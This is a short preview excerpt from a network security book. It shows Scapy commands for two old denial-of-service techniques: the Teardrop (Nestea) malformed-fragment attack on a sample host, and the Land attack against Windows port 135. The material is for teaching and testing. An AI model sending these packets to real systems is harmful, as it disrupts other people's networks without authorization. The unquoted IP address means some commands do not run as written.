April 2017
Intermediate to advanced
350 pages
8h 35m
English
Content preview from Applied Network Security
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Teardrop attack (aka Nestea)
Another DoS from back in the day, using fragment offset to sabotage the victim connection/network communication:
>>> send(IP(dst=192.168.0.6, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=192.168.0.6, id=42, frag=48)/("X"*116))
>>> send(IP(dst=192.168.0.6, id=42, flags="MF")/UDP()/("X"*224))
Land attack (only Microsoft Windows):
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
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